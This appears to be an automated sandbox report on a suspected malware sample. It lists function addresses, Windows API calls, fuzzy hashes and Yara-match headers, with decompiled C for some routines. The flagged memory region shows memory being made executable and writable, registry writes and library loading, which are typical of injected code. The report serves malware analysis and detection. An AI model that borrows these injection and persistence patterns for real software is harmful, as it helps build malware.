API ID: Trim$FreeHeap
String ID:
API String ID: 2132463267-0
Opcode ID: 12474cb38ecd60ecdd978181dc022c8b5ef2781bd4b22c5c06a8d30065986fa9
Instruction ID: 2f5d7a8e3e13bc6a3d35b53ceefa6df84cc1808ed7ef75167813a94754232008
Opcode Fuzzy Hash: 12474cb38ecd60ecdd978181dc022c8b5ef2781bd4b22c5c06a8d30065986fa9
Instruction Fuzzy Hash: 0311E6B2640315BBD7218B59CC89F9B7BADEB49790F104022FE099B240DB72E8018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0235B3C2, Relevance: 7.6, APIs: 5, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00000000,00000004,00000040,?,00000000,?,?,00000000,00000000,?,0235A03D,00000000,0234DE3F,00000000,02366F2C,00000008), ref: 0235B3F9
VirtualProtect.KERNEL32(00000000,00000004,?,?,?,0235A03D,00000000,0234DE3F,00000000,02366F2C,00000008,00000003), ref: 0235B429
RtlEnterCriticalSection.NTDLL(02367380), ref: 0235B438
RtlLeaveCriticalSection.NTDLL(02367380), ref: 0235B456
GetLastError.KERNEL32(?,0235A03D,00000000,0234DE3F,00000000,02366F2C,00000008,00000003), ref: 0235B466

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalProtectSectionVirtual$EnterErrorLastLeave
String ID:
API String ID: 653387826-0
Opcode ID: d4f644a454d44734dd1191f0249e318816412d82c567c5bab9caeb0b5b88793c
Instruction ID: 39857c00bd769717843b847139af47d6daab7ce61b4e2cb3a03b41e2a23aefb0
Opcode Fuzzy Hash: d4f644a454d44734dd1191f0249e318816412d82c567c5bab9caeb0b5b88793c
Instruction Fuzzy Hash: 1021C9F5A40B01EFD721DF69C98499AF7F8FB08714B008569EA5A93710D770E914CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02355830, Relevance: 7.6, APIs: 5, Instructions: 67memorysynchronizationCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00004000,00000000), ref: 0235585E
GetLastError.KERNEL32 ref: 02355881
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02355894
GetLastError.KERNEL32 ref: 0235589F
HeapFree.KERNEL32(00000000,00000000), ref: 023558E7

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorHeapLast$AllocateFreeObjectSingleWait
String ID:
API String ID: 1671499436-0
Opcode ID: 690c106f5fef8400aa9088942915c4da655843d19c11ab6efbfe8a00e2ff9977
Instruction ID: fb5cc6e5a77a10ca2fc05c62c825b48f78dfca1c0f0f0bd8a9b38408d42a49e0
Opcode Fuzzy Hash: 690c106f5fef8400aa9088942915c4da655843d19c11ab6efbfe8a00e2ff9977
Instruction Fuzzy Hash: C1219DB0A40314EBEB218F54D98CF5ABBBDEB00718FA04858F916964E0D378A994CB10

Uniqueness

Uniqueness Score: -1.00%

Function 003A3724, Relevance: 7.6, APIs: 5, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003A3724(int __eax) {
				int _t21;
				signed int _t29;
				char _t34;
				int _t42;
				int _t43;
				struct HDC__* _t44;
				intOrPtr _t45;

				_t21 = __eax;
				_t42 = __eax;
				_t45 =  *((intOrPtr*)(__eax + 0x28));
				if( *((char*)(__eax + 0x30)) == 0 &&  *(_t45 + 0x10) == 0 &&  *((intOrPtr*)(_t45 + 0x14)) != 0) {
					_t22 =  *((intOrPtr*)(_t45 + 0x14));
					if( *((intOrPtr*)(_t45 + 0x14)) ==  *((intOrPtr*)(_t45 + 8))) {
						E003A2184(_t22);
					}
					_t21 = E003A1280( *((intOrPtr*)(_t45 + 0x14)), 1 <<  *(_t45 + 0x3e));
					_t43 = _t21;
					 *(_t45 + 0x10) = _t43;
					if(_t43 == 0) {
						_t44 = E003A0B90(GetDC(0));
						if( *((char*)(_t45 + 0x71)) != 0) {
							L9:
							_t34 = 1;
						} else {
							_t29 = GetDeviceCaps(_t44, 0xc);
							if(_t29 * GetDeviceCaps(_t44, 0xe) < ( *(_t45 + 0x2a) & 0x0000ffff) * ( *(_t45 + 0x28) & 0x0000ffff)) {
								goto L9;
							} else {
								_t34 = 0;
							}
						}
						 *((char*)(_t45 + 0x71)) = _t34;
						if(_t34 != 0) {
							 *(_t45 + 0x10) = CreateHalftonePalette(_t44);
						}
						_t21 = ReleaseDC(0, _t44);
						if( *(_t45 + 0x10) == 0) {
							 *((char*)(_t42 + 0x30)) = 1;
							return _t21;
						}
					}
				}
				return _t21;
			}

0x003a3724
0x003a3728
0x003a372a
0x003a3731
0x003a374b
0x003a3751
0x003a3753
0x003a3753
0x003a376a
0x003a376f
0x003a3771
0x003a3776
0x003a3784
0x003a378a
0x003a37b3
0x003a37b3
0x003a378c
0x003a378f
0x003a37ad
0x00000000
0x003a37af
0x003a37af
0x003a37af
0x003a37ad
0x003a37b5
0x003a37ba
0x003a37c2
0x003a37c2
0x003a37c8
0x003a37d1
0x003a37d3
0x00000000
0x003a37d3
0x003a37d1
0x003a3776
0x003a37db

APIs

GetDC.USER32(00000000), ref: 003A377A
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003A378F
GetDeviceCaps.GDI32(00000000,0000000E), ref: 003A3799
CreateHalftonePalette.GDI32(00000000), ref: 003A37BD
ReleaseDC.USER32(00000000,00000000), ref: 003A37C8

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsDevice$CreateHalftonePaletteRelease
String ID:
API String ID: 2404249990-0
Opcode ID: eb064f22048824b20016ce44a9758e2ee719b0a62c815d09ab9a3932d212cf41
Instruction ID: 2a50f8d8643bfde67a5f9fdfa7b91243a61982c421d7bc92e646e09a07dba979
Opcode Fuzzy Hash: eb064f22048824b20016ce44a9758e2ee719b0a62c815d09ab9a3932d212cf41
Instruction Fuzzy Hash: F31193A1601399AAEB22EF248981BFE3790EF427A5F050164F9009A681D7B58E94C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02355259, Relevance: 7.6, APIs: 5, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,00000000,00000000), ref: 0235526D
memcpy.NTDLL(00000000,?,00000000,00000000,00000000,?,02356FD5,00000000,00000000,00000001,?,023535D9,00000020,00000000,?,00000000), ref: 02355296
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000003,00000000,00000000), ref: 023552BF
RegSetValueExA.ADVAPI32(00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,02356FD5,00000000,00000000,00000001,?,023535D9,00000020,00000000), ref: 023552DF
RegCloseKey.ADVAPI32(00000000,?,02356FD5,00000000,00000000,00000001,?,023535D9,00000020,00000000,?,00000000,?,00000000,00000000), ref: 023552EA

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Value$AllocateCloseCreateHeapmemcpy
String ID:
API String ID: 2954810647-0
Opcode ID: 44e9bc4363997255e54cc2fc7a1f76100327b11a569b1a3db95ff6e29fba7fed
Instruction ID: fb23cb5d7374ce3bff33ccb2ecc257db638f7fd62b0d85e9168b0f38268eac78
Opcode Fuzzy Hash: 44e9bc4363997255e54cc2fc7a1f76100327b11a569b1a3db95ff6e29fba7fed
Instruction Fuzzy Hash: C0110272540219BFDF225E65EC49EBB7BADEB48350F404021FD09E2150DB729C20CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 003B7424, Relevance: 7.6, APIs: 5, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E003B7424(void* __eax) {
				void* _t16;
				void* _t39;
				signed int _t42;

				_t16 = __eax;
				_t39 = __eax;
				if(( *(__eax + 0x1c) & 0x00000010) == 0 &&  *0x3d9a68 != 0) {
					_t16 = E003CF1BC(__eax);
					if(_t16 != 0) {
						_t42 = GetWindowLongA(E003CEEB8(_t39), 0xffffffec);
						if( *((char*)(_t39 + 0x2e0)) != 0 ||  *((char*)(_t39 + 0x2e8)) != 0) {
							if((_t42 & 0x00080000) == 0) {
								SetWindowLongA(E003CEEB8(_t39), 0xffffffec, _t42 | 0x00080000);
							}
							return  *0x3d9a68(E003CEEB8(_t39),  *((intOrPtr*)(_t39 + 0x2ec)),  *((intOrPtr*)(_t39 + 0x2e1)),  *0x003D9AEC |  *0x003D9AF4);
						} else {
							SetWindowLongA(E003CEEB8(_t39), 0xffffffec, _t42 & 0xfff7ffff);
							return RedrawWindow(E003CEEB8(_t39), 0, 0, 0x485);
						}
					}
				}
				return _t16;
			}

0x003b7424
0x003b7426
0x003b742c
0x003b7441
0x003b7448
0x003b745d
0x003b7466
0x003b7477
0x003b748a
0x003b748a
0x00000000
0x003b74cc
0x003b74dd
0x00000000
0x003b74f3
0x003b7466
0x003b7448
0x003b74fa

APIs

GetWindowLongA.USER32(00000000,000000EC), ref: 003B7458
SetWindowLongA.USER32 ref: 003B748A
SetLayeredWindowAttributes.USER32(00000000,?,?,00000000), ref: 003B74C4
SetWindowLongA.USER32 ref: 003B74DD
RedrawWindow.USER32(00000000,00000000,00000000,00000485), ref: 003B74F3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$AttributesLayeredRedraw
String ID:
API String ID: 1758778077-0
Opcode ID: 51139c5cad7f6f63c98a485ef144bc17b5b98147bc8193629b4a8fab71d2ca0a
Instruction ID: 5aff1db0ca0ae201742d1ae405be140bf62e8588ecb3f3a22163d67274213eb9
Opcode Fuzzy Hash: 51139c5cad7f6f63c98a485ef144bc17b5b98147bc8193629b4a8fab71d2ca0a
Instruction Fuzzy Hash: 97110662A4539019DB13BF789C89FDB2A8C4B45355F1805B5FE58EF2C3CA788C44C368

Uniqueness

Uniqueness Score: -1.00%

Function 02348BD5, Relevance: 7.6, APIs: 5, Instructions: 62memorystringtimeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(0235D21B,?,?,?,?,00000008,0235D21B,00000000,?), ref: 02348BF2
memcpy.NTDLL(0235D21B,?,00000009,?,?,?,?,00000008,0235D21B,00000000,?), ref: 02348C14
RtlAllocateHeap.NTDLL(00000000,00000013), ref: 02348C2C
lstrlenW.KERNEL32(00000000,00000001,0235D21B,?,?,?,?,?,?,?,00000008,0235D21B,00000000,?), ref: 02348C4C
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02348C71

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapTime$AllocateFileFreeSystemlstrlenmemcpy
String ID:
API String ID: 3065863707-0
Opcode ID: 4bed4e9900e3a49887bfc95287bacccb3f1eae8f20b8438eb3c15495f63542c1
Instruction ID: ada5aef607218801ea8038f87f0273c95aa5c8df806fcebf9d142ff2a496fd97
Opcode Fuzzy Hash: 4bed4e9900e3a49887bfc95287bacccb3f1eae8f20b8438eb3c15495f63542c1
Instruction Fuzzy Hash: 481193B6D41208BBCB209BA4DC4DF8EBFBCAB08750F008495FA05D6281D634D658CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02352355, Relevance: 7.6, APIs: 5, Instructions: 60stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000008,02356F6F,00000000,00000000,00000000,00000020,00000000,?,023535D9,00000020,00000000,?,00000000), ref: 0235235F

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

lstrcpy.KERNEL32(00000000,00000000), ref: 02352383
StrRChrA.SHLWAPI(00000000,00000000,0000002E), ref: 0235238A
lstrcpy.KERNEL32(00000000,4C003436), ref: 023523D2
lstrcat.KERNEL32(00000000,?), ref: 023523E1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrcpy$AllocateHeaplstrcatlstrlen
String ID:
API String ID: 2616531654-0
Opcode ID: ebe604891284940a66a733bbd04b36b9a53fbd3d971c910e06cfece91f6dfe7e
Instruction ID: ea708705febc15d84cb4c378ddf0394745dabc0a73cbc3d4e28a304bc38e7e9e
Opcode Fuzzy Hash: ebe604891284940a66a733bbd04b36b9a53fbd3d971c910e06cfece91f6dfe7e
Instruction Fuzzy Hash: 4D117CB2640216ABD7208B65AC8CF2BBBEDEF85745F058829FD49D3240DB74D859CB21

Uniqueness

Uniqueness Score: -1.00%

Function 023569BD, Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,00000008,00000000,0000EA60,00000000,00000000,00000000,?,0234FAC6,?,?,00000000,023413F9,?,00000000), ref: 023569FC
ResetEvent.KERNEL32(?,?,0234FAC6,?,?,00000000,023413F9,?,00000000), ref: 02356A01
GetLastError.KERNEL32(0234FAC6,?,?,00000000,023413F9,?,00000000), ref: 02356A1C
GetLastError.KERNEL32(0000EA60,00000000,00000000,00000000,?,0234FAC6,?,?,00000000,023413F9,?,00000000), ref: 02356A4B

Part of subcall function 0234ACB5: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?,?,00000000), ref: 0234ACC1
Part of subcall function 0234ACB5: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?), ref: 0234AD1F
Part of subcall function 0234ACB5: lstrcpy.KERNEL32(00000000,00000000), ref: 0234AD2F

SetEvent.KERNEL32(?,0234FAC6,?,?,00000000,023413F9,?,00000000), ref: 02356A3D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: 6cd9289dbcc3911bf3c3a087853da3a089727acfe46d0162e2843b2f6bc78475
Instruction ID: 493985408feba37f26160421cc2d9d8d0fc524fd89691642291557601c0163b7
Opcode Fuzzy Hash: 6cd9289dbcc3911bf3c3a087853da3a089727acfe46d0162e2843b2f6bc78475
Instruction Fuzzy Hash: DF119AB1144618AFCB21AF60DC48F6B3BBDEF08364F508A20FD1A810A1DB31D8A4CF90

Uniqueness

Uniqueness Score: -1.00%

Function 003A11E8, Relevance: 7.6, APIs: 5, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E003A11E8(void* __eax) {
				char _v5;
				struct HDC__* _v12;
				struct HPALETTE__* _t21;
				struct HPALETTE__* _t25;
				void* _t28;
				intOrPtr _t35;
				void* _t37;
				void* _t39;
				intOrPtr _t40;

				_t37 = _t39;
				_t40 = _t39 + 0xfffffff8;
				_t28 = __eax;
				_v5 = 0;
				if( *0x3db894 == 0) {
					return _v5;
				} else {
					_v12 = GetDC(0);
					_push(_t37);
					_push(0x3a126e);
					_push( *[fs:edx]);
					 *[fs:edx] = _t40;
					if(GetDeviceCaps(_v12, 0x68) >= 0x10) {
						_t21 =  *0x3db894; // 0x1080be8
						GetPaletteEntries(_t21, 0, 8, _t28 + 4);
						_t25 =  *0x3db894; // 0x1080be8
						GetPaletteEntries(_t25, 8, 8, _t28 + ( *(_t28 + 2) & 0x0000ffff) * 4 - 0x1c);
						_v5 = 1;
					}
					_pop(_t35);
					 *[fs:eax] = _t35;
					_push(0x3a1275);
					return ReleaseDC(0, _v12);
				}
			}

0x003a11e9
0x003a11eb
0x003a11ef
0x003a11f1
0x003a11fc
0x003a127c
0x003a11fe
0x003a1205
0x003a120a
0x003a120b
0x003a1210
0x003a1213
0x003a1224
0x003a122e
0x003a1234
0x003a1246
0x003a124c
0x003a1251
0x003a1251
0x003a1257
0x003a125a
0x003a125d
0x003a126d
0x003a126d

APIs

GetDC.USER32(00000000), ref: 003A1200
GetDeviceCaps.GDI32(?,00000068), ref: 003A121C
GetPaletteEntries.GDI32(01080BE8,00000000,00000008,?), ref: 003A1234
GetPaletteEntries.GDI32(01080BE8,00000008,00000008,?), ref: 003A124C
ReleaseDC.USER32(00000000,?), ref: 003A1268

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: EntriesPalette$CapsDeviceRelease
String ID:
API String ID: 3128150645-0
Opcode ID: e8f646bfd2e461f9a7c11cc84b48f889ee79553cc6b601a9f35206b2c5fb154f
Instruction ID: 48e4537d002aa138f999c64a04a1e168255601632cbcf982b970add3f93ba5cc
Opcode Fuzzy Hash: e8f646bfd2e461f9a7c11cc84b48f889ee79553cc6b601a9f35206b2c5fb154f
Instruction Fuzzy Hash: AE110071648344BEFF12EBA49C43FADBBACE74AB00F448496F508DA1C2DA769404C320

Uniqueness

Uniqueness Score: -1.00%

Function 02342A75, Relevance: 7.6, APIs: 5, Instructions: 55memorystringCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00004000), ref: 02342A8C

Part of subcall function 02353D35: WaitForSingleObject.KERNEL32(?,00000000), ref: 02353D4C
Part of subcall function 02353D35: SetEvent.KERNEL32(?,?,?,?,023413F9,?,?), ref: 02353D5C

lstrlen.KERNEL32(?), ref: 02342AAF
lstrlen.KERNEL32(?), ref: 02342AB9
memcpy.NTDLL(?,?,00004000), ref: 02342ACA
HeapFree.KERNEL32(00000000,?), ref: 02342AEC

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heaplstrlen$AllocateEventFreeObjectSingleWaitmemcpy
String ID:
API String ID: 442095154-0
Opcode ID: 84e753116249835c2e9a01c5f5d16576cccc314528917036028790dcd95a63f7
Instruction ID: 17a5e3cd6c878d7d59d7af0362a9557529538ac13260bf9ec78250252bc1d49e
Opcode Fuzzy Hash: 84e753116249835c2e9a01c5f5d16576cccc314528917036028790dcd95a63f7
Instruction Fuzzy Hash: 641157B5940204AFDB209B55DC48F5ABBFEEF85360F1084AAFD06A6250DB71AE10DB20

Uniqueness

Uniqueness Score: -1.00%

Function 0038B084, Relevance: 7.6, APIs: 5, Instructions: 50
threadCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0038B084(void* __esi, void* __eflags) {
				char _v8;
				intOrPtr* _t18;
				intOrPtr _t26;
				void* _t27;
				long _t29;
				intOrPtr _t32;
				void* _t33;

				_t33 = __eflags;
				_push(0);
				_push(_t32);
				_push(0x38b11b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				E0038ADFC(GetThreadLocale(), 0x38b130, 0x100b,  &_v8);
				_t29 = E003881AC(0x38b130, 1, _t33);
				if(_t29 + 0xfffffffd - 3 < 0) {
					EnumCalendarInfoA(E0038AFD0, GetThreadLocale(), _t29, 4);
					_t27 = 7;
					_t18 = 0x3db770;
					do {
						 *_t18 = 0xffffffff;
						_t18 = _t18 + 4;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					EnumCalendarInfoA(E0038B00C, GetThreadLocale(), _t29, 3);
				}
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(E0038B122);
				return E00383EBC( &_v8);
			}

0x0038b084
0x0038b087
0x0038b08c
0x0038b08d
0x0038b092
0x0038b095
0x0038b0ab
0x0038b0bd
0x0038b0c7
0x0038b0d7
0x0038b0dc
0x0038b0e1
0x0038b0e6
0x0038b0e6
0x0038b0ec
0x0038b0ef
0x0038b0ef
0x0038b100
0x0038b100
0x0038b107
0x0038b10a
0x0038b10d
0x0038b11a

APIs

GetThreadLocale.KERNEL32(?,00000000,0038B11B,?,?,00000000), ref: 0038B09C

Part of subcall function 0038ADFC: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0038AE1A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0038B11B,?,?,00000000), ref: 0038B0CC
EnumCalendarInfoA.KERNEL32(Function_0000AFD0,00000000,00000000,00000004), ref: 0038B0D7
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0038B11B,?,?,00000000), ref: 0038B0F5
EnumCalendarInfoA.KERNEL32(Function_0000B00C,00000000,00000000,00000003), ref: 0038B100

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 73859ef9256f255525965848b3239d07fa04148bf4fb1e164aab18fefca9c2c4
Instruction ID: 1f72e73a92a306d668688025503782753638f4cec2c6dde1d031c332fc4c1ac1
Opcode Fuzzy Hash: 73859ef9256f255525965848b3239d07fa04148bf4fb1e164aab18fefca9c2c4
Instruction Fuzzy Hash: D30126712007046BE713B774CC27B9BB25CDB45B10F5109E0F100EE6C2E734AE018365

Uniqueness

Uniqueness Score: -1.00%

Function 00474380, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00474380(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E004791F1(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0047A957(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x47d13c() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x00474380
0x0047438d
0x0047438f
0x004743f2
0x00000000
0x004743f2
0x004743a7
0x004743ae
0x004743ba
0x004743bf
0x004743c1
0x004743c3
0x004743c5
0x004743c7
0x004743c9
0x004743d5
0x004743e5
0x00000000
0x004743d7
0x004743d7
0x004743de
0x004743eb
0x004743eb
0x004743eb
0x004743de
0x004743d5
0x004743f0
0x00000000
0x00000000
0x004743f6

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,004792E3,?,?,00000000,00000000), ref: 004743BA
ResetEvent.KERNEL32(?), ref: 004743BF
GetLastError.KERNEL32 ref: 004743D7
GetLastError.KERNEL32(?,?,00000102,004792E3,?,?,00000000,00000000), ref: 004743F2

Part of subcall function 004791F1: lstrlen.KERNEL32(00000000,00000008,?,766F11C0,?,?,0047439F,?,?,?,?,00000102,004792E3,?,?,00000000), ref: 004791FD
Part of subcall function 004791F1: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,0047439F,?,?,?,?,00000102,004792E3,?), ref: 0047925B
Part of subcall function 004791F1: lstrcpy.KERNEL32(00000000,00000000), ref: 0047926B

SetEvent.KERNEL32(?), ref: 004743E5

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: c3297c084df7cfdb5110e516a705e6aeeaa7c5218ee25f63abdb3775e89aafa5
Instruction ID: 689e9433dee9e77bcde4b941c1edb244b1043b1568725bb407e9f8be9162384c
Opcode Fuzzy Hash: c3297c084df7cfdb5110e516a705e6aeeaa7c5218ee25f63abdb3775e89aafa5
Instruction Fuzzy Hash: 2601A230201211ABDB316B71DC84FABB6A8FF94324F208A2AF95DA11E0C724DC55DB69

Uniqueness

Uniqueness Score: -1.00%

Function 02350EAA, Relevance: 7.5, APIs: 5, Instructions: 45libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 02350ECA
GetModuleHandleA.KERNEL32 ref: 02350ED8
LoadLibraryExW.KERNEL32(?,?,?), ref: 02350EE5
GetModuleHandleA.KERNEL32 ref: 02350EFC
GetModuleHandleA.KERNEL32 ref: 02350F08

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HandleModule$LibraryLoad
String ID:
API String ID: 1178273743-0
Opcode ID: 2a3cb72eca2017c7702ddb1451a4760af57bdb11d51e5283a055a131cba1eb0d
Instruction ID: 4f2fbfc27c3fbc81bb2666533eede2bf99efd6a736b3b638512ef51bdcd60c89
Opcode Fuzzy Hash: 2a3cb72eca2017c7702ddb1451a4760af57bdb11d51e5283a055a131cba1eb0d
Instruction Fuzzy Hash: 7B01D671A0032AAF9B115F69EC04E5A7F9DFF583A07044436FC18D2120DB72C8318EA0

Uniqueness

Uniqueness Score: -1.00%

Function 02348406, Relevance: 7.5, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(02367380), ref: 02348411
RtlLeaveCriticalSection.NTDLL(02367380), ref: 02348422
VirtualProtect.KERNEL32(00000001,00000004,00000040,0000007F,?,?,0235258D,00000000,0236710C,P)(,02353B8D,00000003,?,?,02357F76,00000000), ref: 02348439
VirtualProtect.KERNEL32(00000001,00000004,0000007F,0000007F,?,?,0235258D,00000000,0236710C,P)(,02353B8D,00000003,?,?,02357F76,00000000), ref: 02348453
GetLastError.KERNEL32(?,?,0235258D,00000000,0236710C,P)(,02353B8D,00000003,?,?,02357F76,00000000,?,0236710C), ref: 02348460

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalProtectSectionVirtual$EnterErrorLastLeave
String ID:
API String ID: 653387826-0
Opcode ID: 9daa4e52b0d682a269d3bac9cf6187219d8f5ce8f3fbec9f24efb1e18ee69689
Instruction ID: 8344b5998ae40716c7f68ab9bab58e05563506abcb1f6cf51e31127c4b89be6b
Opcode Fuzzy Hash: 9daa4e52b0d682a269d3bac9cf6187219d8f5ce8f3fbec9f24efb1e18ee69689
Instruction Fuzzy Hash: 5801A2B5600604EFD7219F25CD04E6AB7FDEF84B24B108598EA4693390DB30F905CF20

Uniqueness

Uniqueness Score: -1.00%

Function 004741C2, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004741C2(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x47d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x47d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x47d258 = _t6;
					 *0x47d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x47d254 = _t7;
					if(_t7 == 0) {
						 *0x47d254 =  *0x47d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x004741ca
0x004741d2
0x004741d7
0x00000000
0x0047422c
0x004741d9
0x004741e1
0x004741e9
0x004741e9
0x00474229
0x00000000
0x00474229
0x004741eb
0x004741eb
0x004741f0
0x00474202
0x00474207
0x0047420d
0x00474215
0x0047421a
0x0047421c
0x0047421c
0x00000000
0x00474223
0x004741e5
0x00000000
0x00000000
0x004741e7
0x00000000

APIs

